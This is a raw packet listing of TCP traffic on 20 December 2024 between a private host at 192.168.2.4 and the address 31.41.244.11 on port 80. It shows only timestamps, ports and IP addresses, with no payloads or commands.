Dec 20, 2024 04:12:27.146868944 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.146917105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.147887945 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.147998095 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.148076057 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.149038076 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.149101973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.149142981 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.149189949 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.150188923 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.150294065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.150353909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.151377916 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.151446104 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.151480913 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.151529074 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.152517080 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.152579069 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.152615070 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.152662039 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.153671026 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.153769970 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.153822899 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.154839993 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.154901028 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.154936075 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.154989958 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.155978918 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.156102896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.156162977 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.157176018 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.157238007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.157279015 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.157325029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.158328056 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.158406973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.158432007 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.158476114 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.159468889 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.159517050 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.159581900 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.159626007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.160638094 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.160681009 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.160684109 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.160723925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.161792040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.161886930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.161906958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.161946058 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.162941933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.162987947 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.163053036 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.163099051 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.164105892 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.164413929 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.164457083 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.165265083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.165311098 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.165368080 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.165420055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.166429996 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.166475058 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.166544914 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.166683912 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.167956114 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.167998075 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.168065071 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.168107033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.168724060 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.168773890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.168850899 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.168893099 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.169904947 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.169946909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.170202971 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.170269966 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.171057940 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.171097040 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.171190023 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.171242952 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.172233105 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.172286034 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.172327995 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.172373056 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.173381090 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.173434019 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.173477888 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.173521996 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.174582958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.174627066 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.174717903 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.174767971 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.175695896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.175738096 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.175801039 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.175838947 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.176875114 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.176983118 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.177054882 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.178030014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.178133965 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.178143024 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.178193092 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.179202080 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.179295063 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.179357052 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.180363894 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.180474997 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.180550098 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.181525946 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.181623936 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.181632042 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.181730986 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.182678938 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.182763100 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.182796955 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.182849884 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.183832884 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.183907032 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.183947086 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.183995962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.184979916 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.185034990 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.185076952 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.185117960 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.186150074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.186228037 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.186266899 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.186363935 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.187330008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.187391043 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.187421083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.187465906 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.188466072 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.188549995 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.188569069 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.188663006 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.189635038 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.189699888 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.189742088 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.189742088 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.190793037 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.190877914 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.190891027 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.190947056 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.191941023 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.191965103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.191992998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.192029953 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.193089008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.193157911 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.340820074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.340918064 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.341025114 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.341110945 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.341317892 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.341392040 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.341396093 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.341485977 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.342498064 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.342626095 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.342639923 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.342711926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.343641043 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.343698025 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.343739033 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.343869925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.344809055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.344861984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.344909906 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.344968081 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.345957041 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.346035004 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.346070051 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.346149921 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.347119093 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.347194910 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.347233057 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.347335100 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.348315001 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.348428965 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.348428965 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.348481894 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.349463940 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.349528074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.349549055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.349591970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.350621939 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.350647926 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.350670099 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.350699902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.351746082 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.351813078 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.351855993 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.351943016 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.352914095 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.352967024 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.352976084 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.353024960 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.354084969 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.354130983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.354177952 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.354177952 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.355240107 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.355295897 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.355355978 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.355412006 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.356395006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.356456041 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.356489897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.356539011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.357566118 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.357635975 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.357676983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.357726097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.358712912 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.358831882 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.358848095 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.358899117 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.359862089 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.359925985 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.359968901 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.360071898 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.361031055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.361145020 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.361191988 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.361191988 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.362198114 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.362289906 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.362303972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.362373114 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.363351107 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.363405943 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.363419056 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.363462925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.364506960 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.364608049 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.364643097 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.364727974 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.365669966 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.365726948 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.365727901 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.365772009 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.366830111 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.366921902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.366957903 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.367048025 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.367996931 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.368046045 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.368086100 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.368154049 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.369141102 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.369213104 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.369246960 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.369319916 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.370311022 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.370424986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.370444059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.370506048 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.371465921 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.371565104 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.371591091 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.371682882 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.372675896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.372731924 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.372776985 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.372776985 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.373801947 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.373958111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.373969078 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.374089956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.374969006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.375025988 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.375068903 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.375149012 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.376106024 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.376211882 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.376220942 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.376307964 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.377315998 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.377382994 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.377437115 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.377533913 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.378447056 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.378505945 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.378540039 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.378607988 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.379594088 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.379713058 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.379756927 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.379756927 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.380753040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.380808115 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.380851984 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.380949020 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.381918907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.381977081 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.381992102 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.382039070 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.383208990 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.383311033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.383325100 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.383394003 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.384228945 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.384310007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.384318113 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.384454966 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.385381937 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.385436058 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.385513067 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.385557890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.386578083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.386642933 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.386673927 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.386739016 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.387722015 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.387804031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.387846947 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.387939930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.388911009 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.388962030 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.389008045 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.389086962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.390033007 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.390108109 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.390150070 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.390295029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.391201019 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.391339064 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.391349077 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.391396046 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.392401934 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.392472982 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.392537117 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.392643929 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.393531084 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.393596888 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.393632889 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.393711090 CET	49810	80	192.168.2.4	31.41.244.11
